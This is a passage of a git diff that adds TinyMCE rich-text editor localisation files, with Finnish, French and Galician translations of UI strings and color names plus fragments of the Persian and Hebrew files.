(alpha)","lower_greek":"\u067e\u0627\u06cc\u06cc\u0646\u200c\u062a\u0631 (greek)","lower_roman":"\u067e\u0627\u06cc\u06cc\u0646\u200c\u062a\u0631 (roman)","upper_alpha":"\u0628\u0627\u0644\u0627\u062a\u0631 (alpha)","upper_roman":"\u0628\u0627\u0644\u0627\u062a\u0631 (roman)",circle:"\u062f\u0627\u06cc\u0631\u0647",disc:"\u0642\u0631\u0635 \u0645\u0627\u0646\u0646\u062f",square:"\u0645\u0631\u0628\u0639"},colors:{"333300":"\u0632\u06cc\u062a\u0648\u0646\u06cc \u062a\u06cc\u0631\u0647","993300":"\u0646\u0627\u0631\u0646\u062c\u06cc \u0633\u0648\u062e\u062a\u0647","000000":"\u0645\u0634\u06a9\u06cc","003300":"\u0633\u0628\u0632 \u062a\u06cc\u0631\u0647","003366":"\u0644\u0627\u062c\u0648\u0631\u062f\u06cc \u062a\u06cc\u0631\u0647","000080":"\u06a9\u0628\u0648\u062f","333399":"\u0646\u06cc\u0644\u06cc","333333":"\u0637\u0648\u0633\u06cc \u062e\u06cc\u0644\u06cc \u062a\u06cc\u0631\u0647","800000":"\u0628\u0644\u0648\u0637\u06cc",FF6600:"\u0646\u0627\u0631\u0646\u062c\u06cc","808000":"\u0632\u06cc\u062a\u0648\u0646\u06cc","008000":"\u0633\u0628\u0632","008080":"\u0627\u0637\u0644\u0633\u06cc","0000FF":"\u0622\u0628\u06cc","666699":"\u0622\u0628\u06cc \u062e\u0627\u06a9\u0633\u062a\u0631\u06cc","808080":"\u0637\u0648\u0633\u06cc",FF0000:"\u0633\u0631\u062e",FF9900:"\u06a9\u0647\u0631\u0628\u0627\u06cc\u06cc","99CC00":"\u0632\u0631\u062f \u0645\u0627\u06cc\u0644 \u0628\u0647 \u0633\u0628\u0632","339966":"\u0633\u0628\u0632 \u0645\u0627\u06cc\u0644 \u0628\u0647 \u0622\u0628\u06cc","33CCCC":"\u0641\u06cc\u0631\u0648\u0632\u0647\u200c\u0627\u06cc","3366FF":"\u0622\u0628\u06cc \u0633\u0644\u0637\u0646\u062a\u06cc","800080":"\u0628\u0646\u0641\u0634","999999":"\u0637\u0648\u0633\u06cc \u0645\u062a\u0648\u0633\u0637",FF00FF:"\u0633\u0631\u062e\u0627\u0628\u06cc",FFCC00:"\u0637\u0644\u0627\u06cc\u06cc",FFFF00:"\u0632\u0631\u062f","00FF00":"\u0644\u06cc\u0645\u0648\u06cc\u06cc","00FFFF":"\u0622\u0628\u06cc \u0646\u0642\u0631\u0647\u200c\u0627\u06cc","00CCFF":"\u0622\u0628\u06cc \u0622\u0633\u0645\u0627\u0646\u06cc","993366":"\u0642\u0647\u0648\u0647\u200c\u0627\u06cc",C0C0C0:"\u0646\u0642\u0631\u0647\u200c\u0627\u06cc",FF99CC:"\u0635\u0648\u0631\u062a\u06cc",FFCC99:"\u0647\u0644\u0648\u06cc\u06cc",FFFF99:"\u0632\u0631\u062f \u0631\u0648\u0634\u0646",CCFFCC:"\u0633\u0628\u0632 \u0631\u0648\u0634\u0646",CCFFFF:"\u0641\u06cc\u0631\u0648\u0632\u0647\u200c\u0627\u06cc \u0631\u0648\u0634\u0646","99CCFF":"\u0622\u0628\u06cc \u0622\u0633\u0645\u0627\u0646\u06cc \u0631\u0648\u0634\u0646",CC99FF:"\u06af\u0648\u062c\u0647\u200c\u0627\u06cc",FFFFFF:"\u0633\u0641\u06cc\u062f"},aria:{"rich_text_area":"Rich Text Area"},wordcount:{words:"\u06a9\u0644\u0645\u0627\u062a:"}}}); \ No newline at end of file diff --git a/js/tiny_mce/langs/fi.js b/js/tiny_mce/langs/fi.js new file mode 100755 index 0000000..08eea14 --- /dev/null +++ b/js/tiny_mce/langs/fi.js @@ -0,0 +1 @@ +tinyMCE.addI18n({fi:{common:{"more_colors":"Enemm\u00e4n v\u00e4rej\u00e4","invalid_data":"Virhe: Sy\u00f6tit virheellisi\u00e4 arvoja, ne n\u00e4kyv\u00e4t punaisina.","popup_blocked":"Sinulla on k\u00e4yt\u00f6ss\u00e4si ohjelma, joka est\u00e4\u00e4 ponnahdusikkunoiden n\u00e4yt\u00f6n. Sinun t\u00e4ytyy kytke\u00e4 ponnahdusikkunoiden esto pois p\u00e4\u00e4lt\u00e4 voidaksesi hy\u00f6dynt\u00e4\u00e4 t\u00e4ysin t\u00e4t\u00e4 ty\u00f6kalua.","clipboard_no_support":"Selaimesi ei ole tuettu, k\u00e4yt\u00e4 sen sijaan n\u00e4pp\u00e4inoikoteit\u00e4.","clipboard_msg":"Kopioi/Leikkaa/Liit\u00e4 ei ole k\u00e4ytett\u00e4viss\u00e4 Mozilla ja Firefox -selaimilla.\nHaluatko lis\u00e4tietoa t\u00e4st\u00e4 ongelmasta?","not_set":"-- Ei m\u00e4\u00e4ritetty --","class_name":"Luokka",browse:"Selaa",close:"Sulje",cancel:"Peru",update:"P\u00e4ivit\u00e4",insert:"Lis\u00e4\u00e4",apply:"K\u00e4yt\u00e4","edit_confirm":"Haluatko k\u00e4ytt\u00e4\u00e4 WYSIWYG-tilaa t\u00e4ss\u00e4 tekstikent\u00e4ss\u00e4?","invalid_data_number":"{#field} t\u00e4ytyy olla numero","invalid_data_min":"{#field} t\u00e4ytyy olla suurempi numero kuin {#min}","invalid_data_size":"{#field} t\u00e4ytyy olla numero tai prosentti",value:"(arvo)"},contextmenu:{full:"Molemmille puolille",right:"Oikealle",center:"Keskelle",left:"Vasemmalle",align:"Tasaus"},insertdatetime:{"day_short":"su,ma,ti,ke,to,pe,la,su","day_long":"sunnuntai,maanantai,tiistai,keskiviikko,torstai,perjantai,lauantai,sunnuntai","months_short":"tammi,helmi,maalis,huhti,touko,kes\u00e4,hein\u00e4,elo,syys,loka,marras,joulu","months_long":"tammikuu,helmikuu,maaliskuu,huhtikuu,toukokuu,kes\u00e4kuu,hein\u00e4kuu,elokuu,syyskuu,lokakuu,marraskuu,joulukuu","inserttime_desc":"Lis\u00e4\u00e4 kellonaika","insertdate_desc":"Lis\u00e4\u00e4 p\u00e4iv\u00e4m\u00e4\u00e4r\u00e4","time_fmt":"%H:%M:%S","date_fmt":"%d.%m.%Y"},print:{"print_desc":"Tulosta"},preview:{"preview_desc":"Esikatselu"},directionality:{"rtl_desc":"Suunta oikealta vasemmalle","ltr_desc":"Suunta vasemmalta oikealle"},layer:{content:"Uusi taso...","absolute_desc":"Absoluuttinen sijainti","backward_desc":"Siirr\u00e4 taaksep\u00e4in","forward_desc":"Siirr\u00e4 eteenp\u00e4in","insertlayer_desc":"Lis\u00e4\u00e4 uusi taso"},save:{"save_desc":"Tallenna","cancel_desc":"Peru kaikki muutokset"},nonbreaking:{"nonbreaking_desc":"Lis\u00e4\u00e4 tyhj\u00e4 merkki (nbsp)"},iespell:{download:"ieSpell-ohjelmaa ei havaittu. Haluatko asentaa sen nyt?","iespell_desc":"Oikeinkirjoituksen tarkistus"},advhr:{"advhr_desc":"Vaakatasoviivain","delta_height":"","delta_width":""},emotions:{"emotions_desc":"Hymi\u00f6t","delta_height":"","delta_width":""},searchreplace:{"replace_desc":"Etsi ja korvaa","search_desc":"Etsi","delta_width":"","delta_height":""},advimage:{"image_desc":"Lis\u00e4\u00e4/muokkaa kuvaa","delta_width":"","delta_height":""},advlink:{"link_desc":"Lis\u00e4\u00e4/muokkaa linkki\u00e4","delta_height":"","delta_width":""},xhtmlxtras:{"attribs_desc":"Lis\u00e4\u00e4/muokkaa attribuutteja","ins_desc":"Lis\u00e4ys","del_desc":"Poisto","acronym_desc":"Kirjainlyhenne","abbr_desc":"Lyhenne","cite_desc":"Sitaatti","attribs_delta_height":"","attribs_delta_width":"","ins_delta_height":"","ins_delta_width":"","del_delta_height":"","del_delta_width":"","acronym_delta_height":"","acronym_delta_width":"","abbr_delta_height":"","abbr_delta_width":"","cite_delta_height":"","cite_delta_width":""},style:{desc:"Muokkaa CSS-tyylej\u00e4","delta_height":"","delta_width":""},paste:{"plaintext_mode":"Liitt\u00e4minen on nyt pelkk\u00e4n\u00e4 tekstin\u00e4. Klikkaa uudelleen vaihtaaksesi takaisin tavalliseen tilaan.","plaintext_mode_sticky":"Liitt\u00e4minen on nyt pelkk\u00e4n\u00e4 tekstin\u00e4. Klikkaa uudelleen vaihtaaksesi takaisin tavalliseen tilaan. Palaat takaisin tavalliseen tilaan liitetty\u00e4si jotakin.","selectall_desc":"Valitse kaikki","paste_word_desc":"Liit\u00e4 Wordist\u00e4","paste_text_desc":"Liit\u00e4 pelkk\u00e4n\u00e4 tekstin\u00e4"},"paste_dlg":{"word_title":"Paina Ctrl+V liitt\u00e4\u00e4ksesi sis\u00e4ll\u00f6n ikkunaan.","text_linebreaks":"S\u00e4ilyt\u00e4 rivinvaihdot","text_title":"Paina Ctrl+V liitt\u00e4\u00e4ksesi sis\u00e4ll\u00f6n ikkunaan."},table:{"cellprops_delta_width":"80",cell:"Solu",col:"Sarake",row:"Rivi",del:"Poista taulukko","copy_row_desc":"Kopioi taulukon rivi","cut_row_desc":"Leikkaa taulukon rivi","paste_row_after_desc":"Liit\u00e4 taulukon rivi j\u00e4lkeen","paste_row_before_desc":"Liit\u00e4 taulukon rivi ennen","props_desc":"Taulukon asetukset","cell_desc":"Taulukon solun asetukset","row_desc":"Taulukon rivin asetukset","merge_cells_desc":"Yhdist\u00e4 taulukon solut","split_cells_desc":"Jaa yhdistetyt taulukon solut","delete_col_desc":"Poista sarake","col_after_desc":"Lis\u00e4\u00e4 sarake j\u00e4lkeen","col_before_desc":"Lis\u00e4\u00e4 sarake ennen","delete_row_desc":"Poista rivi","row_after_desc":"Lis\u00e4\u00e4 rivi j\u00e4lkeen","row_before_desc":"Lis\u00e4\u00e4 rivi ennen",desc:"Lis\u00e4\u00e4 uusi taulukko","merge_cells_delta_height":"","merge_cells_delta_width":"","table_delta_height":"","table_delta_width":"","cellprops_delta_height":"","rowprops_delta_height":"","rowprops_delta_width":""},autosave:{"warning_message":"Jos palautat automaattisesti tallennetun sis\u00e4ll\u00f6n, menet\u00e4t t\u00e4ll\u00e4 hetkell\u00e4 editorissa olevan sis\u00e4ll\u00f6n.\n\nHaluatko varmasti palauttaa tallennetun sis\u00e4ll\u00f6n?","restore_content":"Palauta automaattisesti tallennettu sis\u00e4lt\u00f6.","unload_msg":"Tekem\u00e4si muutokset menetet\u00e4\u00e4n jos poistut t\u00e4lt\u00e4 sivulta."},fullscreen:{desc:"Kokoruututila"},media:{edit:"Muokkaa upotettua mediaa",desc:"Lis\u00e4\u00e4/muokkaa upotettua mediaa","delta_height":"","delta_width":""},fullpage:{desc:"Tiedoston asetukset","delta_width":"","delta_height":""},template:{desc:"Lis\u00e4\u00e4 esim\u00e4\u00e4ritetty\u00e4 sivupohjasis\u00e4lt\u00f6\u00e4"},visualchars:{desc:"N\u00e4yt\u00e4/piilota muotoilumerkit."},spellchecker:{desc:"Oikeinkirjoituksen tarkistus",menu:"Oikeinkirjoituksen asetukset","ignore_word":"Ohita sana","ignore_words":"Ohita kaikki",langs:"Kielet",wait:"Odota ole hyv\u00e4...",sug:"Ehdotukset","no_sug":"Ei ehdotuksia","no_mpell":"Virheit\u00e4 ei l\u00f6ytynyt.","learn_word":"Opettele sana"},pagebreak:{desc:"Lis\u00e4\u00e4 sivunvaihto."},advlist:{types:"Tyypit",def:"Oletus","lower_alpha":"pienet kirjaimet: a, b, c","lower_greek":"pienet kirjaimet: \u03b1, \u03b2, \u03b3","lower_roman":"pienet kirjaimet: i, ii, iii","upper_alpha":"isot kirjaimet: A, B, C","upper_roman":"isot kirjaimet: I, II, III",circle:"Pallo",disc:"Ympyr\u00e4",square:"Neli\u00f6"},colors:{"333300":"Tummanoliivi","993300":"Tummanoranssi","000000":"Musta","003300":"Tummanvihre\u00e4","003366":"Tummantaivaansininen","000080":"Laivaston sininen","333399":"Indigonsininen","333333":"Hyvin tummanharmaa","800000":"Punaruskea",FF6600:"Oranssi","808000":"Oliivi","008000":"Vihre\u00e4","008080":"Sinivihre\u00e4","0000FF":"Sininen","666699":"Harmaansininen","808080":"Harmaa",FF0000:"Punainen",FF9900:"Kullanruskea","99CC00":"Keltaisenvihre\u00e4","339966":"Merenvihre\u00e4","33CCCC":"Turkoosi","3366FF":"Syv\u00e4n sininen","800080":"Violetti","999999":"Keskiharmaa",FF00FF:"Magenta",FFCC00:"Kulta",FFFF00:"Keltainen","00FF00":"Lime","00FFFF":"Sinivihre\u00e4","00CCFF":"Taivaansininen","993366":"Ruskea",C0C0C0:"Hopea",FF99CC:"Vaaleanpunainen",FFCC99:"Persikka",FFFF99:"Vaaleankeltainen",CCFFCC:"Haalistuneen vihre\u00e4",CCFFFF:"Haalistuneen syaani","99CCFF":"Vaaleantaivaansininen",CC99FF:"Luumunpunainen",FFFFFF:"Valkoinen"},aria:{"rich_text_area":"Rikastettu tekstialue"},wordcount:{words:"Sanaa:"}}}); \ No newline at end of file diff --git a/js/tiny_mce/langs/fr.js b/js/tiny_mce/langs/fr.js new file mode 100755 index 0000000..b9cfd8b --- /dev/null +++ b/js/tiny_mce/langs/fr.js @@ -0,0 +1 @@ +tinyMCE.addI18n({fr:{common:{"more_colors":"Plus de couleurs","invalid_data":"Erreur : saisie de valeurs incorrectes. Elles sont mises en \u00e9vidence en rouge.","popup_blocked":"D\u00e9sol\u00e9, nous avons d\u00e9tect\u00e9 que votre bloqueur de popup a bloqu\u00e9 une fen\u00eatre dont l\'application a besoin. Vous devez d\u00e9sactiver votre bloqueur de popup pour pouvoir utiliser cet outil.","clipboard_no_support":"Actuellement non support\u00e9 par votre navigateur.\n Veuillez utiliser les raccourcis clavier \u00e0 la place.","clipboard_msg":"Les fonctions Copier/Couper/Coller ne sont pas valables sur Mozilla et Firefox.\nSouhaitez-vous avoir plus d\'informations sur ce sujet ?","not_set":"-- non d\u00e9fini --","class_name":"Classe",browse:"parcourir",close:"Fermer",cancel:"Annuler",update:"Mettre \u00e0 jour",insert:"Ins\u00e9rer",apply:"Appliquer","edit_confirm":"Souhaitez-vous utiliser le mode WYSIWYG pour cette zone de texte ?","invalid_data_number":"{#field} doit \u00eatre un nombre","invalid_data_min":"{#field} doit \u00eatre un nombre plus grand que {#min}","invalid_data_size":"{#field} doit \u00eatre un nombre ou un pourcentage",value:"(valeur)"},contextmenu:{full:"Justifi\u00e9",right:"Droite",center:"Centr\u00e9",left:"Gauche",align:"Alignement"},insertdatetime:{"day_short":"Dim,Lun,Mar,Mer,Jeu,Ven,Sam,Dim","day_long":"Dimanche,Lundi,Mardi,Mercredi,Jeudi,Vendredi,Samedi,Dimanche","months_short":"Jan,F\u00e9v,Mar,Avr,Mai,Juin,Juil,Ao\u00fbt,Sep,Oct,Nov,D\u00e9c","months_long":"Janvier,F\u00e9vrier,Mars,Avril,Mai,Juin,Juillet,Ao\u00fbt,Septembre,Octobre,Novembre,D\u00e9cembre","inserttime_desc":"Ins\u00e9rer l\'heure","insertdate_desc":"Ins\u00e9rer la date","time_fmt":"%H:%M:%S","date_fmt":"%d-%m-%Y"},print:{"print_desc":"Imprimer"},preview:{"preview_desc":"Pr\u00e9visualiser"},directionality:{"rtl_desc":"\u00c9criture de droite \u00e0 gauche","ltr_desc":"\u00c9criture de gauche \u00e0 droite"},layer:{content:"Nouvelle couche\u2026","absolute_desc":"Activer le positionnement absolu","backward_desc":"D\u00e9placer vers l\'arri\u00e8re","forward_desc":"D\u00e9placer vers l\'avant","insertlayer_desc":"Ins\u00e9rer une nouvelle couche"},save:{"save_desc":"Enregistrer","cancel_desc":"Annuler toutes les modifications"},nonbreaking:{"nonbreaking_desc":"Ins\u00e9rer une espace ins\u00e9cable"},iespell:{download:"ieSpell n\'est pas install\u00e9. Souhaitez-vous l\'installer maintenant ?","iespell_desc":"Lancer le v\u00e9rificateur d\'orthographe"},advhr:{"delta_height":"Ecart de hauteur","delta_width":"Ecart de largeur","advhr_desc":"Ins\u00e9rer un trait horizontal"},emotions:{"delta_height":"delta_height","delta_width":"delta_width","emotions_desc":"\u00c9motic\u00f4nes"},searchreplace:{"replace_desc":"Rechercher / remplacer","search_desc":"Rechercher","delta_width":"","delta_height":""},advimage:{"image_desc":"Ins\u00e9rer / \u00e9diter une image","delta_width":"","delta_height":""},advlink:{"link_desc":"Ins\u00e9rer / \u00e9diter un lien","delta_height":"","delta_width":""},xhtmlxtras:{"attribs_desc":"Ins\u00e9rer / \u00e9diter les attributs","ins_desc":"Ins\u00e9r\u00e9","del_desc":"Barr\u00e9","acronym_desc":"Acronyme","abbr_desc":"Abr\u00e9viation","cite_desc":"Citation","attribs_delta_height":"","attribs_delta_width":"","ins_delta_height":"","ins_delta_width":"","del_delta_height":"","del_delta_width":"","acronym_delta_height":"","acronym_delta_width":"","abbr_delta_height":"","abbr_delta_width":"","cite_delta_height":"","cite_delta_width":""},style:{desc:"\u00c9diter la feuille de style (CSS)","delta_height":"","delta_width":""},paste:{"plaintext_mode":"Le collage est actuellement en mode texte non format\u00e9. Cliquez \u00e0 nouveau pour revenir en mode de collage ordinaire.","plaintext_mode_sticky":"Le collage est actuellement en mode texte non format\u00e9. Cliquez \u00e0 nouveau pour revenir en mode de collage ordinaire. Apr\u00e8s avoir coll\u00e9 quelque chose, vous retournerez en mode de collage ordinaire.","selectall_desc":"Tout s\u00e9lectionner","paste_word_desc":"Coller un texte cr\u00e9\u00e9 sous Word","paste_text_desc":"Coller comme texte brut"},"paste_dlg":{"word_title":"Utilisez CTRL+V sur votre clavier pour coller le texte dans la fen\u00eatre.","text_linebreaks":"Conserver les retours \u00e0 la ligne","text_title":"Utilisez CTRL+V sur votre clavier pour coller le texte dans la fen\u00eatre."},table:{cell:"Cellule",col:"Colonne",row:"Ligne",del:"Effacer le tableau","copy_row_desc":"Copier la ligne","cut_row_desc":"Couper la ligne","paste_row_after_desc":"Coller la ligne apr\u00e8s","paste_row_before_desc":"Coller la ligne avant","props_desc":"Propri\u00e9t\u00e9s du tableau","cell_desc":"Propri\u00e9t\u00e9s de la cellule","row_desc":"Propri\u00e9t\u00e9s de la ligne","merge_cells_desc":"Fusionner les cellules","split_cells_desc":"Scinder les cellules fusionn\u00e9es","delete_col_desc":"Effacer la colonne","col_after_desc":"Ins\u00e9rer une colonne apr\u00e8s","col_before_desc":"Ins\u00e9rer une colonne avant","delete_row_desc":"Effacer la ligne","row_after_desc":"Ins\u00e9rer une ligne apr\u00e8s","row_before_desc":"Ins\u00e9rer une ligne avant",desc:"Ins\u00e9rer un nouveau tableau","merge_cells_delta_height":"","merge_cells_delta_width":"","table_delta_height":"","table_delta_width":"","cellprops_delta_height":"","cellprops_delta_width":"","rowprops_delta_height":"","rowprops_delta_width":""},autosave:{"warning_message":"Si vous restaurez le contenu sauv\u00e9, vous perdrez le contenu qui est actuellement dans l\'\u00e9diteur.\n\n\u00cates-vous s\u00fbr de vouloir restaurer le contenu sauv\u00e9 ?","restore_content":"Restaurer le contenu auto-sauvegard\u00e9.","unload_msg":"Les modifications apport\u00e9es seront perdues si vous quittez cette page."},fullscreen:{desc:"Passer en mode plein \u00e9cran"},media:{edit:"\u00c9diter un m\u00e9dia incorpor\u00e9",desc:"Ins\u00e9rer / \u00e9diter un m\u00e9dia incorpor\u00e9","delta_height":"","delta_width":""},fullpage:{desc:"Propri\u00e9t\u00e9s du document","delta_width":"","delta_height":""},template:{desc:"Ins\u00e9rer un mod\u00e8le pr\u00e9d\u00e9fini."},visualchars:{desc:"Activer les caract\u00e8res de mise en page."},spellchecker:{desc:"Activer le v\u00e9rificateur d\'orthographe",menu:"Param\u00e8tres du v\u00e9rificateur d\'orthographe","ignore_word":"Ignorer le mot","ignore_words":"Tout ignorer",langs:"Langues",wait:"Veuillez patienter\u2026",sug:"Suggestions","no_sug":"Aucune suggestion","no_mpell":"Aucune erreur trouv\u00e9e.","learn_word":"Apprendre le mot"},pagebreak:{desc:"Ins\u00e9rer un saut de page."},advlist:{types:"Types",def:"D\u00e9faut","lower_alpha":"Alpha minuscule","lower_greek":"Grec minuscule","lower_roman":"Romain minuscule","upper_alpha":"Alpha majuscule","upper_roman":"Romain majuscule",circle:"Cercle",disc:"Disque",square:"Carr\u00e9"},colors:{"333300":"Olive fonc\u00e9","993300":"Orange br\u00fbl\u00e9","000000":"Noir","003300":"Vert fonc\u00e9","003366":"Azur fonc\u00e9","000080":"Bleu marine","333399":"Indigo","333333":"Gris tr\u00e8s fonc\u00e9","800000":"Bordeaux",FF6600:"Orange","808000":"Olive","008000":"Vert","008080":"Sarcelle","0000FF":"Bleu","666699":"Bleu gris\u00e2tre","808080":"Gris",FF0000:"Rouge",FF9900:"Ambre","99CC00":"Jaune vert","339966":"Mer verte","33CCCC":"Turquoise","3366FF":"Bleu royal","800080":"Violet","999999":"Gris moyen",FF00FF:"Magenta",FFCC00:"Or",FFFF00:"Jaune","00FF00":"Lime","00FFFF":"Bleu vert","00CCFF":"Bleu ciel","993366":"Brun",C0C0C0:"Argent",FF99CC:"Rose",FFCC99:"P\u00eache",FFFF99:"Jaune clair",CCFFCC:"Vert p\u00e2le",CCFFFF:"Cyan p\u00e2le","99CCFF":"Bleu ciel clair",CC99FF:"Prune",FFFFFF:"Blanc"},aria:{"rich_text_area":"Texte riche"},wordcount:{words:"Mots:"}}}); \ No newline at end of file diff --git a/js/tiny_mce/langs/gl.js b/js/tiny_mce/langs/gl.js new file mode 100755 index 0000000..08aff08 --- /dev/null +++ b/js/tiny_mce/langs/gl.js @@ -0,0 +1 @@ +tinyMCE.addI18n({gl:{common:{"more_colors":"Mais cores","invalid_data":"Error: Introducidos valores non v\u00e1lidos, est\u00e1n marcados en vermello.","popup_blocked":"O seu bloqueador de vent\u00e1s emerxentes deshabilitou unha vent\u00e1 que precisa pra o funcionamento da aplicaci\u00f3n. Precisa deshabilita-lo bloqueo de `popups` neste sitio pra utilizar \u00f3 m\u00e1ximo esta ferramenta.","clipboard_no_support":"O seu navegador non soporta estas funci\u00f3ns, use os atallos de teclado.","clipboard_msg":"Copiar/Cortar/Pegar non est\u00e1 disponible en Mozilla e Firefox.\n\u00bfDesexa obter mais informaci\u00f3n sobre de este asunto?","not_set":"-- Ning\u00fan --","class_name":"Clase",browse:"Examinar",close:"Cerrar",cancel:"Cancelar",update:"Actualizar",insert:"Insertar",apply:"Apricar","edit_confirm":"\u00bfDesexa utiliza-lo modo WYSIWYG pra esta caixa de texto?","invalid_data_number":"{#field} must be a number","invalid_data_min":"{#field} must be a number greater than {#min}","invalid_data_size":"{#field} must be a number or percentage",value:"(value)"},contextmenu:{full:"Xustificado",right:"Dereita",center:"Centrado",left:"Esquerda",align:"Ali\u00f1amento"},insertdatetime:{"day_short":"Dom,Lun,Mar,M\u00e9r,Xov,Ver,S\u00e1b,Dom","day_long":"Domingo,Luns,Martes,M\u00e9rcores,Xoves,Venres,S\u00e1bado,Domingo","months_short":"Xan,Feb,Mar,Abr,Mai,Xu\u00f1,Xul,Ago,Set,Out,Nov,Dec","months_long":"Xaneito,Febreiro,Marzo,Abril,Maio,Xu\u00f1o,Xullo,Agosto,Setembro,Outubro,Novembro,Decembro","inserttime_desc":"Insertar hora","insertdate_desc":"Insertar data","time_fmt":"%H:%M:%S","date_fmt":"%d-%m-%Y"},print:{"print_desc":"Imprimir"},preview:{"preview_desc":"Vista previa"},directionality:{"rtl_desc":"Direcci\u00f3n dereita a esquerda","ltr_desc":"Direcci\u00f3n esquerda a dereita"},layer:{content:"Nova capa...","absolute_desc":"Posici\u00f3n absoluta","backward_desc":"Recuar","forward_desc":"Avanzar","insertlayer_desc":"Insertar nova capa"},save:{"save_desc":"Gardar","cancel_desc":"Cancelar todo-los cambios"},nonbreaking:{"nonbreaking_desc":"Insertar espacio non colapsable"},iespell:{download:"Non se detectou \'ieSpell\'. \u00bfDesexa instala-lo agora?","iespell_desc":"Corrector ortogr\u00e1fico"},advhr:{"advhr_desc":"Regra horizontal","delta_height":"","delta_width":""},emotions:{"emotions_desc":"Emoticones","delta_height":"","delta_width":""},searchreplace:{"replace_desc":"Buscar/Reemplazar","search_desc":"Buscar","delta_width":"","delta_height":""},advimage:{"image_desc":"Insertar/editar imaxe","delta_width":"","delta_height":""},advlink:{"link_desc":"Insertar/editar hiperv\u00ednculo","delta_height":"","delta_width":""},xhtmlxtras:{"attribs_desc":"Insertar/Editar atributos","ins_desc":"Inserci\u00f3n","del_desc":"Borrado","acronym_desc":"Acr\u00f3nimo","abbr_desc":"Abreviatura","cite_desc":"Cita","attribs_delta_height":"","attribs_delta_width":"","ins_delta_height":"","ins_delta_width":"","del_delta_height":"","del_delta_width":"","acronym_delta_height":"","acronym_delta_width":"","abbr_delta_height":"","abbr_delta_width":"","cite_delta_height":"","cite_delta_width":""},style:{desc:"Editar Estilo CSS","delta_height":"","delta_width":""},paste:{"selectall_desc":"Seleccionar todo","paste_word_desc":"Pegar desde Word","paste_text_desc":"Pegar como texto simple","plaintext_mode":"Paste is now in plain text mode. Click again to toggle back to regular paste mode.","plaintext_mode_sticky":"Paste is now in plain text mode. Click again to toggle back to regular paste mode. After you paste something you will be returned to regular paste mode."},"paste_dlg":{"word_title":"Use CTRL+V no teclado pra pega-lo texto na vent\u00e1.","text_linebreaks":"Manter salto de li\u00f1as","text_title":"Use CTRL+V no teclado pra pega-lo texto na vent\u00e1."},table:{cell:"Celda",col:"Columna",row:"Fila",del:"Eliminar t\u00e1boa","copy_row_desc":"Copiar fila","cut_row_desc":"Cortar fila","paste_row_after_desc":"Pegar filas (desp\u00f3is)","paste_row_before_desc":"Pegar filas (antes)","props_desc":"Propiedades da t\u00e1boa","cell_desc":"Propiedades da celda","row_desc":"Propiedades da fila","merge_cells_desc":"Vincular celdas","split_cells_desc":"Dividir celdas","delete_col_desc":"Suprimir columna","col_after_desc":"Insertar columna (desp\u00f3is)","col_before_desc":"Insertar columna (antes)","delete_row_desc":"Suprimir fila","row_after_desc":"Insertar fila (desp\u00f3is)","row_before_desc":"Insertar fila (antes)",desc:"Inserta unha nova t\u00e1boa","merge_cells_delta_height":"","merge_cells_delta_width":"","table_delta_height":"","table_delta_width":"","cellprops_delta_height":"","cellprops_delta_width":"","rowprops_delta_height":"","rowprops_delta_width":""},autosave:{"unload_msg":"Os cambios realizados perderanse se sae desta p\u00e1xina.","warning_message":"If you restore the saved content, you will lose all the content that is currently in the editor.\n\nAre you sure you want to restore the saved content?","restore_content":"Restore auto-saved content."},fullscreen:{desc:"Cambiar a modo Pantalla Completa"},media:{edit:"Editar medio embebido",desc:"Insertar/editar medio embebido","delta_height":"","delta_width":""},fullpage:{desc:"Propiedades do documento","delta_width":"","delta_height":""},template:{desc:"Insertar contido de plantilla predefinida"},visualchars:{desc:"Caracteres de control ON/OFF."},spellchecker:{desc:"Conmutar corrector ortogr\u00e1fico",menu:"Configuraci\u00f3n de corrector ortogr\u00e1fico","ignore_word":"Ignorar verba","ignore_words":"Ignorar todo",langs:"Idiomas",wait:"Agarde...",sug:"Suxerencias","no_sug":"Sen suxerencias","no_mpell":"Non se atoparon erros.","learn_word":"Learn word"},pagebreak:{desc:"Insertar fin de p\u00e1xina"},advlist:{types:"Types",def:"Default","lower_alpha":"Lower Alpha","lower_greek":"Lower Greek","lower_roman":"Lower Roman","upper_alpha":"Upper Alpha","upper_roman":"Upper Roman",circle:"Circle",disc:"Disc",square:"Square"},colors:{"333300":"Dark olive","993300":"Burnt orange","000000":"Black","003300":"Dark green","003366":"Dark azure","000080":"Navy Blue","333399":"Indigo","333333":"Very dark gray","800000":"Maroon",FF6600:"Orange","808000":"Olive","008000":"Green","008080":"Teal","0000FF":"Blue","666699":"Grayish blue","808080":"Gray",FF0000:"Red",FF9900:"Amber","99CC00":"Yellow green","339966":"Sea green","33CCCC":"Turquoise","3366FF":"Royal blue","800080":"Purple","999999":"Medium gray",FF00FF:"Magenta",FFCC00:"Gold",FFFF00:"Yellow","00FF00":"Lime","00FFFF":"Aqua","00CCFF":"Sky blue","993366":"Brown",C0C0C0:"Silver",FF99CC:"Pink",FFCC99:"Peach",FFFF99:"Light yellow",CCFFCC:"Pale green",CCFFFF:"Pale cyan","99CCFF":"Light sky blue",CC99FF:"Plum",FFFFFF:"White"},aria:{"rich_text_area":"Rich Text Area"},wordcount:{words:"Words"}}}); \ No newline at end of file diff --git a/js/tiny_mce/langs/he.js b/js/tiny_mce/langs/he.js new file mode 100755 index 0000000..0f4e12d --- /dev/null +++ b/js/tiny_mce/langs/he.js @@ -0,0 +1 @@ +tinyMCE.addI18n({he:{common:{"more_colors":"\u05e2\u05d5\u05d3 \u05e6\u05d1\u05e2\u05d9\u05dd","invalid_data":"\u05e9\u05d2\u05d9\u05d0\u05d4: \u05d4\u05d5\u05e7\u05dc\u05d3 \u05de\u05d9\u05d3\u05e2 \u05dc\u05d0 \u05ea\u05e7\u05e0\u05d9. \u05d4\u05de\u05d9\u05d3\u05e2 \u05e1\u05d5\u05de\u05df \u05d1\u05d0\u05d3\u05d5\u05dd.","popup_blocked":"\u05d7\u05d5\u05e1\u05dd \u05e4\u05e8\u05d9\u05d8\u05d9\u05dd \u05de\u05d5\u05e7\u05e4\u05e6\u05d9\u05dd \u05de\u05e0\u05e2 \u05de\u05d7\u05dc\u05d5\u05df \u05d7\u05e9\u05d5\u05d1 \u05de\u05dc\u05d4\u05e4\u05ea\u05d7,\u05d0\u05dd \u05d1\u05e8\u05e6\u05d5\u05e0\u05da \u05dc\u05d4\u05e9\u05ea\u05de\u05e9 \u05d1\u05db\u05dc\u05d9 \u05d6\u05d4 \u05e2\u05dc\u05d9\u05da \u05dc\u05d1\u05d8\u05dc \u05d0\u05ea \u05d7\u05d5\u05e1\u05dd 